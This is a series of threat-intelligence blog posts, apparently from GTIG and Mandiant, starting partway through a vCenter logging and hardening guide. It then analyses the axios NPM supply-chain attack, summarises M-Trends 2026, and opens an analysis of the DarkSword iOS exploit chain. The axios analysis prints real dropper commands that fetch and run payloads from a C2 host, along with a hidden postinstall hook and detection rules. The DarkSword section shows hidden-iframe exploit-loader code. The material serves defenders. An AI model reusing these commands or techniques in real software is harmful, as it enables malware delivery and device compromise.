Copy the aide.db.gz to a read-only, off-box location. Comparing the VCSA against an off-box "Gold Image" ensures that even root-level attackers cannot hide their modifications by re-initializing the local database.

6. Enable the Remote Logging of AIDE Events via Logger Pipe

# Run a check and bridge the output to Syslog/SIEM
aide --check | logger -t AIDE_TRAP -p local6.crit

7. Enable Automation of AIDE Database Check

To move from manual oversight to automated alerting, you should establish a recurring scheduled task. This ensures that the VCSA programmatically verifies its own state and reports any discrepancies.

Open crontab:

crontab -e

Add the following edit to configure the task:

# Execute check every 6 hours and send results via VCSA remote syslog
0 */6 * * * /usr/bin/aide --check | logger -t AIDE_TRAP -p local6.crit

8. Conduct a Test Event

To confirm your defense is operational and your SIEM is successfully receiving AIDE alerts, perform a simulated breach.

Add a comment to a monitored area (e.g., /etc/rc.local):

echo "# Forensic Bridge Test" >> /etc/rc.local

Trigger a remote event trap:

aide --check | logger -t AIDE_TRAP -p local6.crit

Verify the Alert: Check the VCSA remote syslog target for the tag AIDE_TRAP:

AIDE found differences between database and filesystem!! followed by Changed files: /etc/rc.local.

VCSA Shell History 

On a Photon-based VCSA, the /root/.bash_history file is not replicated to any other log file, nor is it sent to a remote syslog by default. This represents a major forensic visibility gap that threat actors take advantage of to maintain their unmonitored persistence.

• The Buffer Issue: Commands typed into the shell are kept in a memory buffer. They are only written (appended) to the physical file on the disk when the user logs out of the session.

• The Anti-Forensics Risk: If a threat actor gains shell access, their first move is often to run unset HISTFILE or history -c. This prevents the memory buffer from ever being written to the disk. Even if the file is written, an attacker can simply run rm /root/.bash_history before exiting.

• No Remote Transmission: Standard VCSA syslog configurations monitor directories like /var/log/. They do not monitor hidden user files like .bash_history.

The reason the auditd remote syslog discussed in the previous steps is so critical is that it bypasses the need for .bash_history entirely. auditd intercepts system calls (syscalls) at the kernel level and exfiltrates detailed forensic data including the original User ID (AUID) and command outcomes to a remote SIEM as the command is executed. This bridge ensures that even if a threat actor purges local logs or crashes the session, an immutable, real-time audit trail remains securely preserved off-appliance.

Logging Design Principles

Recent CISA reporting and GTIG analysis describe threat actors abusing management interfaces (including enabling SSH), making persistence-related configuration changes, and using vCenter capabilities to access high-value virtual machines. An organization's logging strategy should therefore prioritize management-plane audit trails, service-state changes, identity events, hypervisor telemetry, and centralized forwarding.

1. Centralize first, then tune. Forward logs off-host in near real time so an attacker cannot tamper with them by wiping local disks. Configure both VCSA and ESXi to forward to a central syslog/SIEM target.

2. Treat logs as Tier-0 data. If vCenter is Tier-0, then vCenter/ESXi logs are also Tier-0. Restrict who can read them, who can change forwarding settings, and who can stop logging services.

3. Make timestamps defensible. Ensure consistent Network Time Protocol (NTP) across VCSA, ESXi hosts, jump boxes, and log collectors so correlation is reliable during an incident.

4. Log the actions that matter, not everything. For threat actor activity, you care less about generic "system is running" noise and more about: who accessed management, what changed, what was cloned/exported, what services were enabled, what binaries/configs were modified, and where the appliance/host talked to on the network.

Organizations should establish a "vSphere logging fundamentals" previously described by Mandiant by offloading all infrastructure logs to a centralized, remote SIEM. 

The vSphere Unified Logging Architecture

The following summary table provides a definitive map of the vSphere telemetry streams described. By implementing these steps, organizations can move from a single localized log to a multilayered remote detection architecture that covers the entire BRICKSTORM malware lifecycle.

Implementation Best Practices

For both the VCSA and ESXi hosts, the implementation of remote syslog should move beyond legacy, unencrypted protocols. The following standards are required to ensure the integrity and survivability of the forensic trail:

• Encryption via TLS (TCP Port 6514): Sending logs over UDP/514 is insecure and unreliable. Threat actors can access management traffic or spoof log entries. Organizations should enforce TCP with TLS encryption for all syslog traffic. This ensures that logs are encrypted in transit and guarantees delivery through the TCP handshake.

• Certificate Validation: To prevent man-in-the-middle (MitM) attacks on the logging pipeline, the VCSA and ESXi hosts should be configured to validate the SSL certificate of the remote syslog server. This ensures that telemetry is being sent to a verified security authority and not a rogue listener controlled by the attacker.

• VCSA Custom Shell Bridging: Because the VCSA does not forward shell activity or denied firewall connections by default, administrators should consider implementing an agentless bridge at the Photon OS level. By configuring the audisp (Audit Dispatcher) and piping iptables logs into the native rsyslog service, the VCSA is transformed from a passive appliance into an active sensor, capable of streaming real-time kernel-level alerts directly into the encrypted TLS pipeline.

• Standardized Retention: Given this threat actor's dwell time averages 393 days, the remote syslog repository should be configured with a minimum retention period of 400 days. This allows investigators to correlate the programmatic eventTypeId of a year-old initial compromise with the low-level auditd signals of a current breach.

Summary of Logging Detections

Conclusion

It is critical for organizations to recognize that the vCenter Server control plane is a primary target for state-sponsored espionage and global ransomware operations. Technical hardening is essential to create the friction required to generate high-fidelity signals. By enforcing barriers such as VCSA OS-level firewalls, phishing-resistant MFA, and restricted management interfaces, organizations force a threat actor to attempt actions that are inherently suspicious.

Addressing forensic visibility gaps through the implementation of auditd, AIDE, and centralized remote logging ensures that evidence of persistence is preserved for incident response activities. Organizations should leverage this enhanced telemetry to build pattern-based behavioral detections rather than relying on static Indicators of Compromise (IoCs). As adversaries increasingly leverage AI across the entire attack lifecycle, the hardening and logging controls outlined in this guide should become the universal vSphere security baseline to ensure every unauthorized movement results in an immediate and immutable forensic response.

Written by: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican, Muhammad Umair

Introduction 

Google Threat Intelligence Group (GTIG) is tracking an active software supply chain attack targeting the popular Node Package Manager (NPM) package "axios." Between March 31, 2026, 00:21 and 03:20 UTC, an attacker introduced a malicious dependency named "plain-crypto-js" into axios NPM releases versions 1.14.1 and 0.30.4. Axios is the most popular JavaScript library used to simplify HTTP requests, and these packages typically have over 100 million and 83 million weekly downloads, respectively. This malicious dependency is an obfuscated dropper that deploys the WAVESHAPER.V2 backdoor across Windows, macOS, and Linux.

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since at least 2018, based on the use of WAVESHAPER.V2, an updated version of WAVESHAPER previously used by this threat actor. Further, analysis of infrastructure artifacts used in this attack shows overlaps with infrastructure used by UNC1069 in past activities.

This blog details the attack lifecycle, from the initial account compromise to the deployment of operating system (OS)-specific payloads, and provides actionable guidance for defenders to identify and mitigate this threat.

Campaign Overview

On March 31, 2026, GTIG observed the introduction of plain-crypto-js version 4.2.1 as a dependency in the legitimate axios package version 1.14.1. Analysis indicates the maintainer account associated with the axios package was compromised, with the associated email address changed to an attacker-controlled account (ifstap@proton.me).

The threat actor used the postinstall hook within the "package.json" file of the malicious dependency to achieve silent execution. Upon installation of the compromised axios package, NPM automatically executes an obfuscated JavaScript dropper named "setup.js" in the background.

 "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node setup.js"

  }

Malware Analysis 

The plain-crypto-js package serves as a payload delivery vehicle. The core component, SILKBELL, setup.js (SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads.

The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads fs, os, and execSync. After successfully dropping the secondary payload, setup.js attempts to delete itself and revert the modified package.json to hide forensic traces of the postinstall hook.

Operating System-Specific Execution Paths

Depending on the identified platform, the dropper executes the following routines.

Windows

The dropper actively hunts for the native powershell.exe binary. To evade detection, it copies the legitimate executable to %PROGRAMDATA%\wt.exe. It then downloads a PowerShell script via curl using the POST body packages.npm.org/product1 and saves it to the user's AppData Temp directory (e.g., %TEMP%\6202033.ps1). The payload is executed using a copied Windows Terminal executable with hidden and execution policy bypass flags.

Set objShell = CreateObject("WScript.Shell")    
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 
  			  & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False

macOS

The malware uses bash and curl to download a native Mach-O binary payload to /Library/Caches/com.apple.act.mond using the POST body packages.npm.org/product0. It modifies permissions to make the file executable and launches it via zsh in the background.

try
    do shell script "
    	curl -o /Library/Caches/com.apple.act.mond 
  		-d packages.npm.org/product0 
		-s http://sfrclak.com:8000/6202033 
  		&& chmod 770 /Library/Caches/com.apple.act.mond 
	  	&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" 
  		&> /dev/null"
    "
  end try
  do shell script "rm -rf tmp/6202033"

Linux

The script downloads a Python backdoor to /tmp/ld.py using the POST body packages.npm.org/product2.

Cleanup 

Aside from removing downloaded scripts in two execution branches, the script attempts to remove itself and replace an injected package.json with an original one, which was stored as "package.md".

const K = __filename;
t.unlink(K, (x => {}))
t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)

WAVESHAPER.V2 Backdoor Capabilities

The platform-specific payloads ultimately deploy variants of a backdoor tracked by GTIG as WAVESHAPER.V2, a backdoor written in C++ that targets macOS to collect system information, enumerate directories, or execute additional payloads and that connects to the C2 provided via command-line arguments. Notably, GTIG identified additional variants of WAVESHAPER.V2 written in PowerShell and Python to target diverse environments. Regardless of the operating system, the malware beacons to the C2 endpoint over port 8000 at 60-second intervals. The beacon consists of Base64-encoded JSON data and uses a hard-coded User-Agent: 

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

Following the initial beaconing to the adversary infrastructure, WAVESHAPER.V2 continuously polls, pausing for 60 seconds awaiting instructions. The server response determines the next action taken by the implant. The backdoor supports multiple commands outlined in the Table 1.

On Windows, persistence is achieved by creating a hidden batch file (%PROGRAMDATA%\system.bat) and adding a new entry named MicrosoftUpdate to HKCU:\Software\Microsoft\Windows\CurrentVersion\Run to launch it at logon.

WAVESHAPER.V2 acts as a fully functional RAT with the following capabilities:

• Reconnaissance: Extracts system telemetry, including hostname, username, boot time, time zone, OS version, and detailed running process lists.

• Command Execution: Supports multiple execution methods, including in-memory Portable Executable (PE) injection and arbitrary shell commands. The shell execution command expects a script and script parameters from C2; if no script is provided, the parameter is executed as a PowerShell command, but if a script is provided, it is either Base64-encoded or placed into a file depending on its size.

• File System Enumeration: Returns detailed metadata for requested target directories by continuously recursing through the file system.

Attribution

GTIG attributes this activity to UNC1069, a financially motivated North Korea-nexus threat actor active since 2018. Analysis of the C2 infrastructure (sfrclak[.]com resolving to 142.11.206.73) revealed connections from a specific AstrillVPN node previously used by UNC1069. Additionally, adjacent infrastructure hosted on the same ASN has been historically linked to UNC1069 operations.

Furthermore, WAVESHAPER.V2 is a direct evolution of WAVESHAPER, a macOS and Linux backdoor previously attributed to UNC1069. While the original WAVESHAPER uses a lightweight, raw binary C2 protocol and employs code packing, WAVESHAPER.V2 communicates using JSON, collects additional system information, and supports more backdoor commands. Despite these upgrades, both versions accept their C2 URL dynamically via command-line arguments, share identical C2 polling behaviors and an uncommon User-Agent string, and deploy secondary payloads to identical temporary directories (e.g., /Library/Caches/com.apple.act.mond).

Outlook and Implications

The impact of this attack by North Korea-nexus actors is broad and has ripple effects as other popular packages rely on axios as a dependency. Notably, UNC1069 isn’t the only threat actor that has launched successful open source supply chain attacks in recent weeks. UNC6780 (also known as TeamPCP) recently poisoned GitHub Actions and PyPI packages associated with projects like Trivy, Checkmarx, and LiteLLM to deploy the SANDCLOCK credential stealer and facilitate follow-on extortion operations. 

Hundreds of thousands of stolen secrets could potentially be circulating as a result of these recent attacks. This could enable further software supply chain attacks, software as a service (SaaS) environment compromises (leading to downstream customer compromises), ransomware and extortion events, and cryptocurrency theft over the near term. 

Supply chain compromise is a particularly dangerous tactic because it abuses the inherent trust that users and enterprise administrators place in hardware, software, and updates supplied by reputable vendors as well as the trust they may not realize they are placing in collaborative code-sharing communities. Defenders should pay close attention to these campaigns, and enterprises should initiate dedicated efforts to assess the existing impact, remediate compromised systems, and harden environments against future attacks.

Remediation 

GTIG urges all developers and organizations using the axios package to take immediate corrective action. Priority should be given to auditing dependency trees for compromised versions, isolating affected hosts, and rotating any potentially exposed secrets or credentials. Following initial containment, organizations must implement long-term hardening through strict version pinning and enhanced supply-chain monitoring.

• Version Control: Do not upgrade to axios version 1.14.1 or 0.30.4. Ensure corporate-managed NPM repositories are configured to serve only known-good versions (e.g., 1.14.0 or earlier; 0.30.3 or earlier).

• Dependency Pinning: Pin axios to a known safe version in your package-lock.json to prevent accidental upgrades.

• Malicious Package Audit: Inspect project lockfiles specifically for the 'plain-crypto-js' package (versions 4.2.0 or 4.2.1). Use tools like Wiz or Open Source Insights for deeper dependency auditing.

• Pipeline Security: Pause CI/CD deployments for any package relying on axios. Validate that builds are not pulling "latest" versions before redeploying with pinned, safe versions. 

• Incident Response: If plain-crypto-js is detected, assume the host environment is compromised. Revert the environment to a known-good state and rotate all credentials or secrets present on that machine.

• Network Defense: Block all traffic to sfrclak[.]com and the command & control IP: 142.11.206.73. Monitor and alert on any endpoint communication attempts to this domain.

• Cache Remediation: Clear local and shared npm, yarn, and pnpm caches on all workstations and build servers to prevent re-infection during subsequent installs.

• Endpoint Protection: Deploy EDR to protect developer environments. Monitor for suspicious processes spawning from Node.js applications that match known Indicators of Compromise (IOCs).

• Credential Management: Rotate all tokens and API keys used by applications confirmed to have run indicators of compromise (IOCs).

• Developer Sandboxing & Secret Vaulting: Isolate development environments in containers or sandboxes to restrict host filesystem access, and migrate plaintext secrets to the OS keychain using aws-vault. This ensures compromised packages cannot programmatically scrape credentials or execute malicious scripts directly on the host machine.

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

Network Indicators

File Indicators

YARA Rules

These rules may be most useful on developer workstations, CI/build systems, and other suspected impacted hosts for retrospective hunting and validation.

rule G_Backdoor_WAVESHAPER.V2_PS_1
{
    meta:
        description = "Detects the WAVESHAPER.V2 PowerShell backdoor which communicates with C2 via base64 encoded JSON beacons and supports PE injection and script execution"
        author = "GTIG"
        md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Windows"
        family = "WAVESHAPER.V2"
    strings:
        $ss1 = "packages.npm.org/product1" ascii wide nocase
        $ss2 = "Extension.SubRoutine" ascii wide nocase
        $ss3 = "rsp_peinject" ascii wide nocase
        $ss4 = "rsp_runscript" ascii wide nocase
        $ss5 = "rsp_rundir" ascii wide nocase
        $ss6 = "Init-Dir-Info" ascii wide nocase
        $ss7 = "Do-Action-Ijt" ascii wide nocase
        $ss8 = "Do-Action-Scpt" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*)
}

rule G_Hunting_Downloader_suspected_UNC1069_PS_1
{
    meta:
        description = "Detects PowerShell dropper associated with suspected UNC1069 and Axios npm package supply chain attack. Associated to WAVESHAPER.V2"
        author = "GTIG"
        md5 = "089e2872016f75a5223b5e02c184dfec"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Windows"
    strings:
        $ss1 = "start /min powershell -w h" ascii wide nocase
        $ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase
        $ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase
        $ss4 = "-Method POST -Body" ascii wide nocase
        $ss5 = "packages.npm.org/product1" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 5KB and all of them
}

rule G_Hunting_Downloader_SILKBELL_1
{
    meta:
        description = "Detects the obfuscated version of the JS NPM supply chain downloader using Base64 obfuscation and custom XOR. Associated with WAVESHAPER.V2"
        author = "GTIG"
        md5 = "7658962ae060a222c0058cd4e979bfa1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Any"
    strings:
        $ss1 = "OrDeR_7077" ascii wide fullword
        $ss2 = "String.fromCharCode(S^a^333)" ascii wide
        $ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide
        $ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide
        $ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and all of them
}

Google Security Operations (SecOps)

Google Security Operations (SecOps) customers have access to the following broad category rules and more under the Mandiant Intel Emerging Threats rule pack.

• Curl Writing Apple System File to Staging Directory

• Node Spawning Nohup Osascript

• Node Spawning Windows Script Host With Delete Command

• Windows Script Host Spawning Shell With Curl

• Windows Terminal In Suspicious Staging Directory

Wiz

Wiz customers should check their Wiz Threat Center for information on this advisory and whether or not they are impacted. For more information refer to Wiz’s blog post, Axios NPM Distribution Compromised in Supply Chain Attack.

Every year, the cyber threat landscape forces defenders to adapt to evolving adversary tactics, techniques, and procedures (TTPs). In 2025, Mandiant observed a clear divergence in adversary pacing that closely aligns with the trends we have been documenting for defenders over the past year. On one end of the spectrum, cyber criminal groups optimized for immediate impact and deliberate recovery denial. On the other end, sophisticated cyber espionage groups and insider threats optimized for extreme persistence, utilizing unmonitored edge devices and native network functionalities to evade detection.

Today, we release M-Trends 2026. Grounded in over 500,000 hours of frontline incident investigations conducted by Mandiant globally in 2025, this report provides a definitive look at the TTPs actively being used in breaches today.

aside_block

<ListValue: [StructValue([('title', 'M-Trends 2026 is available!'), ('body', <wagtail.rich_text.RichText object at 0x7faabc6940a0>), ('btn_text', 'Download now'), ('href', 'https://cloud.google.com/security/resources/m-trends?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY26-Q1-GLOBAL-STO89-website-dl-dgcsm-mtrends26-162712&utm_content=-&utm_term=-'), ('image', <GAEImage: m-trends blog callout>)])]>

By the Numbers: M-Trends 2026

The metrics in this year's report highlight how adversaries are shifting their approaches to bypass modern security controls:

• Global Median Dwell Time: Global median dwell time rose to 14 days from 11 days. This shift likely reflects growing sophistication, particularly in evading defenses. When looking specifically at the high quantity of cyber espionage and North Korean IT worker incidents, the median dwell time for both categories was 122 days.

• Initial Infection Vectors: Exploits remained the most common initial infection vector for the sixth consecutive year, accounting for 32% of intrusions. However, highly interactive voice phishing saw a significant surge to 11%, becoming the second-most commonly observed vector.

• Detection by Source: Organizations are improving their internal visibility. Across all 2025 investigations, 52% of the time organizations first detected evidence of malicious activity internally, an increase from 43% in 2024.

• Targeted Industries: The full scope of incidents affected more than 16 industry verticals, with the high tech sector (17%) outpacing the financial sector (14.6%) as the most frequently targeted industry, shifting the financial sector out of the top spot it held in 2024 and 2023.

The Collapse of the "Hand-Off" Window

One of the most notable trends we observed in 2025 is the increased specialization and collaboration within the cyber crime ecosystem. Initial access partners are using low-impact techniques, such as malicious advertisements or the ClickFix social engineering technique, to gain a foothold. They then hand off this access to secondary groups who execute high-impact operations like ransomware.

In 2022, the median time between an initial access event and the hand-off to a secondary threat group was more than 8 hours. In 2025, that window collapsed to just 22 seconds. Initial access partners are increasingly pre-staging the secondary group's preferred malware or tunnels during the initial infection, meaning secondary actors are fully equipped to launch operations the moment they first interact with the network.

This pattern is reflected in how attackers are breaching organizations. We found that prior compromise ranked as the third-most common initial infection vector (10%) for intrusions globally, and the top initial infection vector in ransomware operations (30%), doubling what it was in 2024 (15%).

Voice Phishing and the SaaS Identity Crisis

Historically, email phishing has been an adversary staple. But as automated technical controls have improved, email phishing dropped to just 6% of intrusions in 2025. In its place, adversaries have pivoted to highly interactive, voice-based social engineering.

We have extensively documented this progression in blog posts and reports, notably tracking how groups like UNC3944 target IT help desks to bypass multifactor authentication (MFA) and gain initial access to software-as-a-service (SaaS) environments (see: Vishing for Access: Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft).

M-Trends 2026 reveals the cascading impact of these techniques. Threat actors are bypassing standard defenses by harvesting long-lived OAuth tokens and session cookies. By compromising third-party SaaS vendors, attackers steal hard-coded keys and personal access tokens, using those secrets to seamlessly pivot into downstream customer environments to execute large-scale data theft.

Ransomware Evolves into Recovery Denial

Ransomware groups are no longer just encrypting data; they are actively destroying the ability to recover. In 2025, we observed a systemic shift where ransomware operators, including prolific groups using REDBIKE (Akira) and AGENDA (Qilin), actively targeted backup infrastructure, identity services, and virtualization management planes.

Attackers are exploiting misconfigured Active Directory Certificate Services templates to create admin accounts that bypass password rotation and are actively deleting backup objects from cloud storage. Furthermore, attackers are exploiting the "Tier-0" nature of hypervisors to bypass guest-level defenses. By targeting the virtualization storage layer directly or encrypting hypervisor datastores, they can render all associated virtual machines inoperable simultaneously.

This directly aligns with the complex intrusions we outlined in our guide, From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Modern ransomware is now a fundamental resilience problem, forcing organizations into a choice: pay or rebuild.

Edge Devices, Zero-Days, and Extreme Persistence

While cyber criminals optimize for speed, espionage groups are optimizing for extreme persistence. Threat clusters like UNC6201 and UNC5807 deliberately target edge and core network devices, such as virtual private networks (VPNs) and routers, that typically lack standard endpoint detection and response (EDR) telemetry. M-Trends 2026 reveals that the mean time to exploit vulnerabilities dropped to an estimated -7 days, meaning exploitation is routinely occurring before a patch is even released. This acceleration underscores the severity of the trends and campaigns we have recently documented, from increasing zero-day usage over 2024 (as reported on in Look at What You Made Us Patch: 2025 Zero-Days in Review2025 Zero-Days in Review) to our analysis of UNC6201 Exploiting a Dell RecoverPoint for Virtual Machines Zero-Day. By leveraging native packet-capturing functionality on these devices, adversaries can directly intercept sensitive data and plaintext credentials as they transit the network, allowing them to gather intelligence without ever needing to move deeper into traditional sources like workstations or servers.

Attackers are deploying custom, in-memory malware like the BRICKSTORM backdoor directly onto these network appliances to establish deep persistence that routinely survives standard remediation efforts and system reboots. Because these devices are designed with minimal onboard storage and cannot support traditional security tooling, conducting file system or memory forensics presents a significant challenge, often leaving security teams with limited artifacts to confirm an attacker's presence or properly scope the remediation. Furthermore, this extreme persistence creates a critical visibility gap. With threats like BRICKSTORM achieving dwell times of nearly 400 days, standard 90-day log retention policies leave organizations completely blind to the initial access vector and the full scope of the intrusion.

AI Threat Landscape

A comprehensive overview of the 2025 threat landscape requires addressing adversary use of artificial intelligence (AI). Ongoing Google Threat Intelligence Group research reveals that adversaries are integrating AI to accelerate the attack lifecycle. We have seen malware families like PROMPTFLUX and PROMPTSTEAL actively query large language models (LLMs) mid-execution to evade detection, while "distillation attacks" threaten intellectual property by extracting the proprietary logic and specialized training data of high-value machine learning models. M-Trends 2026 confirms attackers are abusing AI within compromised environments. For example, the QUIETVAULT credential stealer was observed checking targeted machines for local AI command-line tools, executing predefined prompts to search for configuration files. 

Despite these rapid technological advancements, we do not consider 2025 to be the year where breaches were the direct result of AI. From our view on the frontlines, the vast majority of successful intrusions still stem from fundamental human and systemic failures. However, to ensure organizations are prepared as AI-powered capabilities evolve, Mandiant red teams are actively incorporating AI-driven techniques into engagements—such as prompt injection—to rigorously test defenses against emerging threats. By highlighting the unique risks surrounding AI implementations, such as the abuse of developer toolchains, we help organizations establish behavioral baselines and adopt principles from the Google Secure AI Framework (SAIF). Beyond securing the AI models themselves, we also help organizations leverage AI-powered defense as a force multiplier for security operations. For a deeper dive into AI and security, read our recently published paper, AI risk and resilience: A Mandiant special report.

Recommendations for Defenders

To build true operational resilience and outmaneuver modern adversaries, organizations must move at the speed of the attacker. M-Trends 2026 provides extensive, actionable guidance, including:

• Treat Low-Impact Alerts as Critical Indicators: With hand-off times shrinking to seconds, security teams must restructure response playbooks. Treat routine malware alerts as high-priority indicators of an impending secondary intrusion, and remediate before interactive hands-on-keyboard operations begin.

• Isolate Critical Control Planes: Virtualization and management platforms must be treated as Tier-0 assets with the strictest access constraints. To counter the destruction of recovery capabilities, backup environments should be decoupled from the corporate Active Directory domain and utilize immutable storage (to defend against these attacks, review our guide, Proactive Preparation and Hardening Against Destructive Attacks: 2026 Edition).

• Shift to Continuous Identity Verification: Because interactive social engineering frequently bypasses traditional MFA, organizations must enforce strict least privilege, regularly audit SaaS integrations, and route all SaaS applications through a central identity provider (IdP).

• Transition from Static IOCs to Behavioral Anomaly Detection: With attackers rapidly changing infrastructure and deploying custom, in-memory malware, relying solely on static indicators of compromise (IOCs) is no longer sufficient. Defenders must implement behavior-based detection models that flag anomalous activity and deviations from established baselines, specifically concerning unauthorized access to edge devices, anomalous bulk API operations, or the suspicious use of SaaS integration tokens.

• Expand Visibility and Extend Log Retention: Deploy advanced threat detection across the entire ecosystem. To close the visibility gap associated with multi-year intrusions, organizations must extend log retention policies well beyond standard 90-day windows. Forward critical network device logs—especially application and administrative logs—and hypervisor-level telemetry to centralized, long-term storage to eliminate the blind spots sophisticated actors rely upon.

Be Ready to Respond

The Mandiant mission is to help keep every organization secure from cyber threats and confident in their readiness. For 17 years, our annual M-Trends report has been a core component of advancing that mission, sharing frontline knowledge to help defenders close critical visibility gaps.

To learn about the cyber threat landscape, and how we recommend organizations adapt to its ongoing changes, explore our M-Trends 2026 resources:

• Download the M-Trends 2026 report for a comprehensive dive into our frontline data.

• Read the M-Trends 2026 Executive Edition for a high-level look at the data and trends, along with key recommendations.

• Register for our upcoming M-Trends 2026 webinar—the first in a planned series—for an in-depth look at the data, topics, and recommendations discussed in the report.

• Listen to a special episode of the Google Cloud Security Podcast featuring M-Trends 2026 to learn more about what the findings mean and how the report is created.

Introduction 

Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.

DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.

In this blog post, we examine the uses of DarkSword by these distinct threat actors, provide an analysis of their final-stage payloads, and describe the vulnerabilities leveraged by DarkSword. GTIG reported the vulnerabilities used in DarkSword to Apple in late 2025, and all vulnerabilities were patched with the release of iOS 26.3 (although most were patched prior). We have added domains involved in DarkSword delivery to Safe Browsing, and strongly urge users to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security.

This research is published in coordination with our industry partners at Lookout and iVerify.

Discovery Timeline

GTIG has identified several different users of the DarkSword exploit chain dating back to November 2025. In addition to the case studies on DarkSword usage documented in this blog post, we assess it is likely that other commercial surveillance vendors or threat actors may also be using DarkSword.

Saudi Arabian Users Targeted via Snapchat-Themed Website (UNC6748)

In early November 2025, GTIG identified the threat cluster UNC6748 leveraging a Snapchat-themed website, snapshare[.]chat, to target Saudi Arabian users (Figure 2). The landing page on the website included JavaScript code using a mix of obfuscation techniques, and created a new IFrame that pulled in another resource at frame.html (Figure 3). The landing page JavaScript also set a session storage key named uid, and checked if that key was already set prior to creating the IFrame that fetches the next delivery stage. We assess this is to prevent re-infecting prior victims. In subsequent observations of UNC6748 throughout November 2025, we observed them update the landing page to include anti-debugging and additional obfuscation to hinder analysis. We also identified additional code added when the actor attempts to infect a user using Chrome, where the x-safari-https protocol handler is used to open the page in Safari (Figure 4). This suggests that UNC6748 didn't have an exploit chain for Chrome at the time of this activity. During the infection process, the victim is redirected to a legitimate Snapchat website in an attempt to masquerade the activity.

frame.html is a simple HTML file that dynamically injects a new script tag that loads in the main exploit loader, rce_loader.js (Figure 5). The loader performs some initialization used by subsequent stages, and fetches a remote code execution (RCE) exploit from the server using XMLHttpRequest (Figure 6).

We observed UNC6748 activity multiple times throughout November 2025, where both major and minor updates were made to their infection process:

• The first UNC6748 activity we observed only had support for one RCE exploit split across two files, rce_module.js and rce_worker_18.4.js (Figure 7). This exploit primarily leveraged CVE-2025-31277, a memory corruption vulnerability in JavaScriptCore (the JavaScript engine used in WebKit and Apple Safari), and also CVE-2026-20700, a Pointer Authentication Codes (PAC) bypass in dyld.

• We then identified activity several days later where another RCE exploit was added, rce_worker_18.6.js (Figure 8). This exploit used CVE-2025-43529, a different memory corruption vulnerability in JavaScriptCore, alongside the same CVE-2026-20700 exploit in the same file.

• The loader was modified to also fetch a rce_module_18.6.js payload, which only defined a simple function that was not observed in use elsewhere.

• However, the logic implemented for this did not correctly serve the iOS 18.4 exploit if the device version wasn't 18.6, and did not account for the existence of iOS 18.7, even though it was released two months prior in September 2025. This suggests that this update may have been originally written months prior to UNC6748 acquiring and/or deploying it.

• Later in November 2025, we observed another module added, rce_worker_18.7.js (Figure 9). This was an updated version of rce_worker_18.6.js, but with offsets added to support iOS 18.7.

• There was also a logic flaw in the loader in this case, as it loaded the exploit for iOS 18.7 regardless of the detected device version.

In our observations, UNC6748 used the same modules for sandbox escapes and privilege escalation, along with the same final payload, GHOSTKNIFE.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
  sessionStorage.setItem("uid", '1');
  const frame = document.createElement("iframe");
  frame.src = "frame.html?" + Math.random();
  frame.style.height = 0;
  frame.style.width = 0;
  frame.style.border = "none";
  document.body.appendChild(frame);
} else {
  top.location.href = "red";
}

Figure 3: Landing page snippet that loads frame.html (UNC6748, November 2025)

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <script type="text/javascript">document.write('<script defer=\"defer\" src=\"rce_loader.js\"\>\<\/script\>');</script>
</body>
</html>

Figure 4: frame.html contents (UNC6748, November 2025)

if (typeof browser !== "undefined" || !isIphone()) {
        console.log("");
